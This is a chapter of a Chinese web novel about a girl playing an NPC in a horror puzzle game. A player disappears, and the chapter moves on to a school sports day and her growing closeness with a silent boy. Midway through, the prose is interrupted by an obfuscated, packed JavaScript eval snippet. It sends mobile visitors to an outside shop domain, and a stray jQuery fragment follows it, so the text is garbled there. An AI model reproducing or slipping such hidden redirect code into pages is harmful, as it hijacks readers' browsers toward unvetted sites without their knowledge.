文趣网 > 其他小说 > 在恐怖解谜游戏里当npc > 29. 第 29 章
    顾白带着渚晓赶上已经快要走出教学楼的一行人,和玩家们一同出了教学楼。

    李明因为时间不早了,匆忙告别众人后就往校外走去。

    剩下的人一起往宿舍楼的方向走。

    路程过半,夏夜抬眼望向夜空:“今晚的月光真亮啊。”

    “是啊。”走在队伍后面的楼瑰赞同。

    风雪月转身,想和楼瑰说些什么,她的目光不经意的扫过队伍,却发现少了一个人。

    “庄梦呢?”风雪月心中生出不好的预感。

    那个叫庄梦的女玩家话不多,也喜欢走在队伍最后,此刻人群中却不见她的身影。

    六个玩家动作停顿。

    夏夜猛地转身,在人群中搜寻,没看到庄梦的身影。

    他快步走到人群后方,急切的四处查看,可偌大的校园里除了他们,空无一人。

    很明显,庄梦也“失踪”了。

    “庄梦不见了?”跟在夏夜身后的佟遥难以置信。

    “到底是什么时候?究竟发生了什么?”夏夜喃喃自语,一个大活人就这么在他们眼皮底下消失了?

    玩家们面面相觑,看到了彼此脸上的惊愕和悚然。

    直到此刻,玩家们才真切感受到这个S级副本的恐怖之处。

    白日的昌平一中是如此的平和,与现实中的普通高中几乎别无二致。即便昨天刚有一名学生消失,也如同石子坠入深潭,仅激起微小的涟漪,远不足以刺痛玩家们被它表面平和所麻痹的神经。

    但现在,夜幕低垂,黑暗中潜藏的未知存在悄无声息地吞噬了他们的同伴,而他们却丝毫未曾察觉。

    玩家们就像温水中的青蛙,直到被噬咬的疼痛袭来,方才惊觉危险已至。

    震惊过后,夏夜收拾好心情,看向走在队伍最后面的楼瑰:“楼瑰,庄梦消失前你有察觉到什么异常吗?”

    夏夜看到楼瑰露出了迷茫的眼神,踌躇了会才带着不确定的语气反问:“庄梦?你们不一直是六个人吗?”

    夏夜张了张嘴,无力感涌上心头,他此刻才真正与李明感同身受,最终,夏夜苦笑一声:“没事了。”

    风雪月上前,拍了拍夏夜的肩膀:“我们都没有察觉到异常,不是你的错,不用太自责。”

    夏夜叹了口气:“走吧。”

    剩下的半程不复之前轻松的氛围,大家格外的沉默。

    女生宿舍要比男生宿舍近一些,风雪月和杜春风在宿舍楼前停下脚步,楼瑰却继续跟着夏夜他们往前走。

    “班长?”杜春风不解。

    楼瑰笑笑:“我送渚晓回宿舍,等他上去就回来。”

    “呃,好的。”杜春风噎了一下,她看了眼站在楼瑰身后、比她高了一大截的男生,带着微妙的表情和风雪月上了楼。

    到了男生宿舍楼底,顾白示意渚晓可以上去了,对方却迟迟不离去。

    “怎么了?”顾白耐心的询问。

    渚晓的目光看向她的腹部。

    顾白随着他的目光低头,看向自己的肚子,没看到什么奇怪的地方,她不明所以。

    “行了,别看了,没事赶紧上去睡觉吧。”见渚晓迟迟不答,顾白抬起头,催促他去睡觉。

    渚晓收回目光,慢吞吞转身走进宿舍楼。

    顾白这才转身离开。

    教学楼外,沈月如徘徊着,仍然提心吊胆,虽然它吃了那个女生,但是自己没给它带来它要的食物,它会不会生气?

    “月如~”女生亲昵的声音响起。

    沈月如身体猛的一颤,随即立刻低下头,不敢看来人。

    “虽然今天你没有带来我要的那几个人,但也努力为我带来了食物,所以我就不和你生气啦。”

    她迈着轻快步伐从沈月如身边经过。

    沈月如猛的松了一口气。

    “不过要继续努力哦,不然下次就不一定了。”

    楼瑰迈上楼梯,走进教学楼,身形融入了黑暗中。

    顾白其实是有些郁闷的:[唉,我每次放狠话都没成功过,好逊啊。]

    小八安慰她:[没事的顾白小姐,除了我没人知道,我不会告诉别人的。]

    顾白感动:[小八你是个好球。]

    小八:[嘿嘿。]

    *

    “赛场上的你们,是风的使者,是速度与激情的象征,向着终点全力奔跑吧,加油!胜利属于你们!”

    伴随着主席台50米跑的加油稿,风雪月第一个冲线。

    楼瑰冲上去给了风雪月一个拥抱:“雪月你真帅!”

    不待风雪月回应,她又跑到后面抱住杜春风:“春风也好棒!”

    杜春风脸颊微红,回抱住楼瑰。

    两人被一群人簇拥着回到了高二(3)班的休息区。

    渚晓默默的跟在楼瑰身后,看她抱完这个抱那个。

    众人刚刚回到看台区没多久,主席台上传来了铅球比赛即将开始的播报。

    顾白唰的转身,放下手中的原本要递给风雪月的纯净水,看向渚晓:“走吧,我陪你去。”

    说着,她牵起渚晓的手往铅球场地走去,路上还嘱咐着:“别勉强自己,随便抛抛就行,成绩无所谓,主要是别受伤。”

    顾白估摸渚晓也就是个重在参与,他这个小身板还是注意点,万一整个骨折。

    渚晓盯着楼瑰牵着自己的手,没回答。

    到了铅球场地,渚晓的序号比较靠后,顾白让他活动活动手腕,免得受伤。

    渚晓低头看着楼瑰,一动不动。

    顾白和他大眼瞪小眼,最后叹了口气:“伸手。”

    渚晓伸手。

    顾白握着他的手,带着他活动手腕,嘴里还嘀嘀咕咕:“你到底是不是哑巴?不是哑巴你说句话啊,我又不是你肚子的蛔虫……”

    渚晓看着女生随着动作轻轻摇晃的马尾,忽然有摸她脑袋的冲动。

    就在他蠢蠢欲动时,裁判喊到了他的号码:“15号!”

    顾白停下动作:“去吧。”她又强调,“别勉强自己,重在参与。”

    渚晓从她的脑袋上移开目光,一如既往的沉默。

    他走到场地前,拿起铅球,举起,抛出。

    只见渚晓抛出的铅球在空中划过一道抛物线,以绝对的距离优势落在了地面上。

    顾白:?

    ber,这哑巴力气这么大吗?这么大力气为什么被人欺负不反抗啊?他是抖M吗?

    渚晓毫无悬疑的拿下了铅球比赛的冠军,他拿到金牌就立刻朝顾白走去。

    顾白却哼了一声,扭头就走。

    渚晓眼中浮现迷茫的神色,亦步亦趋的跟着她,不明白为什么拿了冠军楼瑰却不给他一个抱抱。

    回到休息区,顾白坐到自己的位置上。

    渚晓走到她面前,将金牌递到她眼前。

    “给我干嘛?这是你的。”顾白不高兴的抱臂后靠。

    渚晓又往前递了递。

    不待顾白有什么反应,风雪月从旁边凑了过来:“哟,渚晓拿了冠军?”

    她看看金牌,又看看渚晓,一脸惊奇:“看不出来啊?这什么项目的冠军啊?”

    渚晓没给风雪月一个眼神,仍然执着的将金牌递到顾白面前。

    顾白啧了一声,还是伸手接住。

    顾白:[可怜巴巴的,整得一副我欺负他的样子。]

    小八:[……]

    顾白小姐不会被这个副本的身份影响了吧?到底怎么从那张被刘海盖了大半的脸上看出可怜的啊?

    杨乐竹从旁边看着,皱起眉头,察觉到点不对,她不客气的开口:“喂,渚晓,你不会喜欢楼瑰吧?”

    渚晓动作一顿,缓缓扭头,看向杨乐竹。

    “你不会被我说中了吧?”杨乐竹眉头皱的更紧,她直接出言警告:“我告诉你,楼瑰帮你是她好心,你别自作多情,更别有什么非分之想。”

    杨乐竹的话尖锐不留情面:“你根本配不上楼瑰知道吗?她长得漂亮,性格还好,配谁都绰绰有余,你没有机会的。”

    风雪月和杜春风听着这一番堪称刻薄的话,面面相觑。

    顾白也惊了:[我在乐竹心里这么好吗?配谁都绰绰有余?]

    小八认真回答:[顾白小姐一直都是个很好的人。]

    顾白真的有些不好意思了。

    渚晓听到这番话,看了杨乐竹一会,谁也不知道他在想什么,半晌,他收回目光,又继续盯着楼瑰。

    楼瑰似乎也被杨乐竹这一番话惊住了,脸颊微微发红,看起来有些尴尬和局促。

    风雪月咳嗽两声,出来救场:“班长,我们下午有事不能陪你跑三千米了。”她又补充,“但我们在精神上与班长共进退!班长加油!”

    顾白知道玩家们的计划,她笑着表示不介意。

    旁边杨乐竹哼了一声,抱着手臂:“有我陪着楼瑰呢。”

    原本有些僵住的氛围被打散,重新活跃起来。

    中午顾白和昨天一样,陪渚晓去吃饭。

    她坐在渚晓对面,看着他低头吃饭,眉头轻拧。

    顾白和小八嘀咕:[我怎么觉得渚晓从今天上午开始就有些沉闷呢?]

    小八看了看渚晓,实在不明白顾白究竟怎么从那张脸上看出情绪的:[是吗……]

    它又忍不住多问了一句:[顾白小姐好像很关注渚晓。]

    在之前的副本没见到她这么关注一个人。

    顾白:[自己捡的要负责。]

    小八:[……]</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16185129|179599||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    所以是真的在训狗吗?

    顾白意识到话里的歧义,她心虚的辩解:[我不是那个意思啦,你不觉得渚晓很像一只松狮犬吗?]

    小八对此持保留意见:[完全不,我还是觉得他更像男鬼。]或者背后灵。

    顾白嘀咕:[才不像……]

    等渚晓吃完饭,两人一起出了食堂,渚晓跟在顾白身后。

    两人刚下台阶,顾白忽然转身,伸出手:“要不要牵手?”

    渚晓毫不犹豫的握住顾白的手。

    顾白得意:[哼哼,这不就高兴起来了?]

    小八:[……]

    怎么觉得哪里不对?

    下午的三千米是男女混跑,在比赛开始前,顾白带着渚晓做准备运动。

    虽然渚晓上午铅球拿了冠军,但顾白对他弱鸡的第一印象一时很难扭转。

    她下意识嘱咐着:“你不要跟着我跑,我体力好,会一直保持比较快的速度,你就在队伍最后面晃悠就行。”

    “如果实在撑不住就直接下来,不丢人。”

    渚晓不吭声。

    比赛即将开始,裁判让选手们上跑道,随着一声哨响,一群人从起点出发。

    顾白直接从跑道外围绕到了最前面领跑。

    看台上有人嘀咕:“跑这么快,也不怕后劲不足。”

    杨乐竹听见,瞪了说话的人一眼,站起来给顾白助威:“楼瑰加油!”

    高二(3)班其他学生也纷纷起身。

    “班长加油!”

    “加油!”

    ……

    顾白当然不会后劲不足,她现在是个物理意义上怪物,拉爆全场都没问题。

    在她套了其他选手两圈后,看台上不再有人唱衰,都在惊叹她的体力。

    她听见看台上有人说:“那个男生也挺厉害,一直紧紧跟着前面那个女生。”

    男生?谁?

    顾白扭头,这才发现渚晓竟然一直跟在自己身后。

    但他体力明显已经不支,呼吸急促,脖颈上的皮肤发红,大颗汗水从下巴滴落。

    顾白瞳孔一缩,渚晓在干什么?不是说了不要跟着她。

    但顾白没有放慢脚步,反而加快了速度,迅速与渚晓拉开了距离。

    她这一波加速又引来了看台上一阵惊呼。

    “我*牛*!”

    “666这个入是桂。”

    “这是一个高中生该有的身体素质吗?”

    ……

    渚晓还想跟在楼瑰身后,但他的双腿却像灌了铅一样沉重。

    视野中,女生的背影越来越远。

    前期为了跟紧楼瑰花费了太多体力,渚晓的脚步不受控制的慢了下来,身边有人越过了他。

    渚晓呼吸完全乱了节奏,额头上流下的汗水糊住了眼睛,更加看不清楼瑰的背影。

    渚晓伸手擦去眼皮上的汗水,再抬眼,视野中完全失去了女生的身影。

    他立刻扭头,在操场四处上搜寻。

    下一秒,他身体一轻,与此同时,整个操场响起一阵比之前更大的惊呼声。

    渚晓下意识环住女生的脖子,惊愕的看着眼前这张脸。

    顾白将渚晓打横抱起,边抱着他往外走,边扬声和裁判说明:“老师,这个同学中暑了,我带他去医务室,奖牌先放您这。”

    “哦,哦哦,好的。”

    顾白边抱着人往医务室走,边咬牙训他:“我说的话你都当耳旁风了是吧?都说了撑不住就下来,非要逞强?”

    渚晓呼吸尚未平复,胸膛不断起伏,露出的皮肤都泛着红,他的视线却紧紧盯着顾白,目光带着以往没有的灼热,从顾白的眼睛到鼻子、再到嘴巴,反复扫视着。

    顾白早已习惯他的目光,毫无察觉的抱着他跑到了医务室。

    进了医务室,顾白把人放到病床上,去敲校医室的门。

    得知情况后,校医让顾白用湿毛巾给渚晓降温,又给他滴上一瓶葡萄盐水。

    “来的及时,没多大事。”

    说完校医就又回到房间里,关门摸鱼。

    在顾白忙活时,渚晓的目光一直追随着她。

    顾白给他弄好毛巾,坐到床边,又忍不住训他:“为什么刚刚不听我的话?不是说了不要跟着我?”

    顾白本以为渚晓还是会沉默不语,谁知他竟然开口了。

    男生一错不错的看着她:“我想让你,抱抱我。”

    他声音很好听,清朗悦耳,因为刚刚的运动还带着淡淡的哑意。

    顾白惊讶的睁大眼睛。

    渚晓重复:“抱抱我。”

    “楼瑰,抱抱我。”

    他的声音带上急切和渴求,生涩的恳求着。

    “求你,抱抱我。”